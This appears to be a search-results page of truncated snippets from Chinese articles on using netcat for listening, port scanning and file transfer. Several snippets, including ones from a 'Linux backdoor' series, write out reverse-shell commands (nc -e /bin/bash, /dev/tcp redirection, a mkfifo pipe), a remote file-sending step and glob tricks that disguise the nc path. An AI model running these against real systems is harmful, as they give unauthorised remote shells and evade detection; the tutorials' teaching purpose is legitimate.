首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux NC命令

NC ncat使用教程 ---- 安装ncat yum install nmap-ncat -y //centos sudo apt-get -y install netcat-traditional...//ubuntu ---- 监听入站连接 服务器端开启入站监听 nc -l 8080 客户端连接服务端 nc ip 8080 连接上后可以互相通讯类似这样 image.png 利用NC扫描端口...利用nc扫描目标 1-100内端口情况 nc -z -v -n -w 2 ip 1-100 image.png 利用nc发送文件 发送端执行 nc -v -l 8080 < out.txt //...文件名 接收方执行 nc -v -n ip 8080 > in.txt //收过来时候以这个文件名保存 image.png 发送整个文件夹 发送端执行 tar -cvPf - ~/out | nc...控制端执行 nc IP 8080 效果如下 image.png 在控制端输入命令都会在目标机器上执行 反向shell链接 目标机器执行 nc -e /bin/bash 控制端IP 8080

8.3K30
您找到你想要的搜索结果了吗?
是的
没有找到

linux nc命令小结

如果用户登录名字最多只有10个字符,那么不要认可表单输入10个以上字符,这将大大增加攻击者在SQL命令插入有害代码难度。 ⑷ 检查用户输入合法性,确信输入内容只包含合法数据。...unix,linux attacker machine: // 攻击者机器....C 盘根目录读取 sunzn.exe 文件内容,并把这些数据发送到远程主机 【命令解释】对应端口上(注:命令行 IP 为接收文件远程主机 IP ),在远程主机运行 nc -v -l -p...( ftp.txt 为FTP自动下载命令) 【命令解释】不停地监听 8989 端口,并把 C:\ftp.txt 内容发给任何一台连接本机 8989 端口主机,可起到传送文件作用(此用法经常用于反向...实践: 例如:nc -l -v -p 80 然后在浏览器输入本机IP:127.0.0.1 命令2:程序定向(反弹shell方法) nc -l -p port -t -e cmd.exe 本地机

6.1K31

Linux--nc命令

但是当文件过大时候,例如前段时间需要传输一个1.7G堆dump文件到本地,就让我犯了难,sz命令直接卡死,根本下载不下来,这个时候nc就派上了用场。...nc是netcat简写,有着网络界瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠网络工具。...nc作用 (1)实现任意TCP/UDP端口侦听,nc可以作为server以TCP或UDP方式侦听指定端口; (2)端口扫描,nc可以作为client发起TCP或UDP连接; (3)机器之间传输文件...文件传输 第一步: 在本地启动一个接收文件服务:nc -l 5555 > heapdump-1591610687839.hprof端口随便指定,不与其他重复即可;文件名按照自己需求指定;注意命令空格...文件传输(其实就是将以上客户端和服务端切换一下) 第一步: 现在远程服务器,启动发送文件命令:nc -l 5555 < heapdump-1591610687839.hprof 第二步: 表示从远程服务器

4.1K10

Linux 命令(138)—— nc 命令

nc 实际上是 ncat 软链接。ncat 是为 Nmap(Network Mapper) 项目编写,是 Nmap 套件一员,它旨在成为可靠后端工具,可立即为其他应用程序和用户提供网络连接。...注意如果不使用 -l 选项,则使用此选项是错误 -l 指定 nc 应该侦听传入连接,而不是启动到远程主机连接。将此选项与 -p、-s 或 -z 选项结合使用是错误。...如果未指定端口,则使用代理协议已知端口(SOCKS为1080,HTTPS为3128) nc 控制参数不少,常用几个参数如下所列: -l 指定 nc 将处于侦听模式。...指定该参数,则意味着 nc 被当作 server,侦听并接受连接,而非向其它地址发起连接 -p PORT 指定 nc 使用源端口 -s 指定发送数据源 IP 地址,适用于多网卡机器 -u 指定...使用 nc 传输文件还是比较方便,因为不用 scp 和 rsync 那种输入密码操作了。

5.8K20

nc 反弹shell ​| Linux 后门系列

---- 关于nc之前文章就已经讲过了,不过我发现不同 linux nc不太一样 ?...原理其实就是管道技术 参考文章: https://www.cnblogs.com/old-path-white-cloud/p/11685558.html 本来我对自己Linux知识还是挺有信心,不过最近研究了这些...Linux 后门之后发现我竟然对这些命令有些犹豫(其实就是学艺不精啦) 我对这个 rm -f /tmp/f 就十分不理解,实验之后我发现,没错,就是删除 /tmp/f 这个文件,没啥特殊,就是怕mkfifo...同样,我们拆分一下 nc 192.168.1.101 5555 连接192.168.1.101 5555 端口 | /bin/sh | 将前面的连接输出传递给 /bin/sh 输入,并将执行结果输出...nc 192.168.1.101 6666 连接 192.168.1.101 6666 端口,并将 /bin/sh输出传递给这个连接作为输入 ---- 巧用 ` 来执行命令 nc 192.168.1.38

2.8K30

我是如何还原NC美图

导语 GUIDE ╲ 上个月我们分享了基于多组学数据识别关键癌症驱动基因超实用工具Moonlight,不知道大家是否有注意到传说中“别人家图”。...Fig2b,分为三部分: 上图为细胞系表达水平箱线图。中间为热图,显示乳腺癌及其相关生物学过程预测抑癌基因和癌基因top50。基于欧氏距离矩阵进行层次聚类。下图是颜色标记不同注释信息。...红色(蓝色)标记Moonlight基因得分加(减)生物过程。特定基因突变样本数量从白色到深紫色不等。超甲基化DMR显示为蓝色,去甲基化黄色。KM生存预后差基因标记为粉红色。...,我数据基因为行,所以就加到右边了,但代码是一样。...小编总结 ComplexHeatmap由顾祖光博士创建,是一个全面绘制复杂热图R包,利用它你能绘制许多文献图片并学习到美图精髓。像小编我这样手残星人都能复制出来,你还没有信心么???

1.2K30

dash & rbash & nc.openbsd ​| Linux 后门系列

今天在查找资料时候在一篇文章中发现了 dash 和 nc.openbsd 这两个命令,dash、rbash、nc.openbsd 和 nc.traditional 这几个命令平时都很少遇到,所以一直也就不知道他们存在...,这次也是争取把这些补齐了,后续还有那些系统自带可以反弹shell命令我遗漏了大家可以反馈给我,我也学习一下 0x01 dash & rbash 每个系统自带shell貌似都不太一样,sh 和 bash...很多系统还会自带 zsh ,Ubuntu 16.04 并不包含 zsh Ubuntu 16.04 默认带 dash 和 rbash,使用方法和bash一样 dash -i >& /dev/tcp/192.168.1.101..., nc.openbsd 同样可以实现反弹 shell 功能 ?.../bin/nc /bin/nc.openbsd 这回如果你想用之前我说 ` + * 方案,就知道怎么构造了 /b*n/*.open*sd /b*n/*.*pen*sd /*in/*.

2K10

nc使用_p什么nc什么l

大家好,又见面了,我是你们朋友全栈君。 什么是nc nc是netcat简写,有着网络界瑞士军刀美誉。...因为它短小精悍、功能实用,被设计为一个简单、可靠网络工具 nc作用 (1)实现任意TCP/UDP端口侦听,nc可以作为server以TCP或UDP方式侦听指定端口 (2)端口扫描,nc可以作为client...nmap -y 如果提示如下-bash: nc: command not found 表示没安装ncnc用法1,网络连通性测试和端口扫描 nc可以作为server端启动一个tcp监听(注意,...nc扫描时不会有此bug) 下面,A机器启动一个udp端口监听,端口为9998 在复制窗口上可以确认已经在监听了 B机器使用nmap命令去扫描此udp端口,在扫描过程,导致A机器nc退出监听。...客户端测试,测试方法3 nc扫描大量udp端口 扫描过程比较慢,可能是1秒扫描一个端口,下面表示扫描A机器1到1000端口(暂未发现可以在一行命令扫描分散几个端口方法) nc -vuz 10.0.1.161

1.8K40

linux命令讲解大全】134.网络工具多功能利器——netcat(nc

ppp-off 关闭ppp连线 补充说明: 这是Slackware发行版内附程序,让用户切断PPP网络连线。 语法: ppp-off nc 用于设置路由器,是网络工具瑞士军刀。...补充说明: nc命令 全称netcat,用于设置路由器。它能通过TCP和UDP在网络读写数据。通过与其他工具结合和重定向,你可以在脚本以多种方式使用它。...-o 指定文件名称,把往来传输数据以16进制字码倾倒成该文件保存。 -p 设置本地主机使用通信端口。 -r 乱数指定本地与远端主机通信端口。...端口范围是1-1000 [root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 扫描指定端口 [root@localhost ~]# nc -nvv 192.168.0.1...80 查看从服务器到目的地出站端口443是否被防火墙阻止 nc -vz acme-v02.api.letsencrypt.org 443 -w2 # Ncat: Version 7.50 (https

9410

工具|网络工具瑞士军刀--nc

netcat(命令行中使用 nc )是网络工具瑞士军刀,它能通过TCP和UDP在网络传输数据。...通过与其他工具结合和重定向,我们可以在脚本以多种方式使用它,比如传输文件,目录,用于网络安全扫描端口,命令行聊天(现在估计没有多少人无聊做这个)。...二 常用参数 nc参数有很多,常用有如下几个。 -l 用于指定nc将处于侦听模式。执行nc命令机器被当作server,监听听并接受连接,而非向其它地址发起连接。...nc -l 12345 | tar xizvf - -C /data/my3307/ 在*源机器 * 上执行命令将目录下所有文件打包并压缩传递到 tar -czf - * | nc server2...需求:日常运维中有极个别非标的数据库实例不能使用自动化方式重建slave,想要快速搭建一套主从,则可以使用nc

1.1K10

每天学一个 Linux 命令(91):nc

命令简介 nc 命令是一款功能强大网络工具。它是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单 TCP 代理。...-G #设置来源路由指向器,其数值为4倍数 -i #设置时间间隔,以便传送信息及扫描通信端口 -o #指定输出保存到文件 -p #设置本地主机使用通信端口...使用UDP传输协议 -v #显示指令执行过程详细信息 -z #使用0输入/输出模式 -h #打印帮助信息 应用举例 扫描端口 [root@centos7 ~]# nc -c -z -w4 192.168.1.199...这里有一个坑,在CentOS7.X 中使用yum install -y nc安装nc实际安装是nmap-ncat(ncat命令),但ncat这个命令没有端口扫描功能,但为何在系统又可以使用nc命令呢...nc命令时,实际执行是ncat命令,解决文案如下:下载 nc软件包(https://sourceforge.net/projects/netcat/files/netcat/0.7.1/),上传解压并编译安装

1.4K50

Linux:Shell脚本使用 NC 工具检查 IP 地址端口联通性

Linux 系统管理和网络诊断,检查 IP 地址端口联通性是一项常见而重要任务。本文将指导您使用 nc(Netcat)工具通过 Shell 脚本来实现这一功能。...理解 NC (Netcat) nc 是一个强大网络工具,它可以用于多种网络任务,如扫描开放端口、创建 TCP/UDP 连接等。在本文中,我们主要使用它来检查 IP 地址端口联通性。...安装 NC 大多数 Linux 发行版都预装了 nc,但如果您系统没有,可以通过包管理器安装: 在基于 Debian 系统(如 Ubuntu)上: bash sudo apt-get install...脚本核心是使用 nc 来检查特定 IP 地址上端口是否开放。 脚本步骤 定义变量:指定要检查 IP 地址和端口。 使用 nc 检查端口:利用 nc 命令检查端口联通性。.../check_port.sh 扩展脚本功能 为了提高脚本灵活性,可以通过命令行参数传递 IP 地址和端口,而不是在脚本硬编码。 bash #!

25410
领券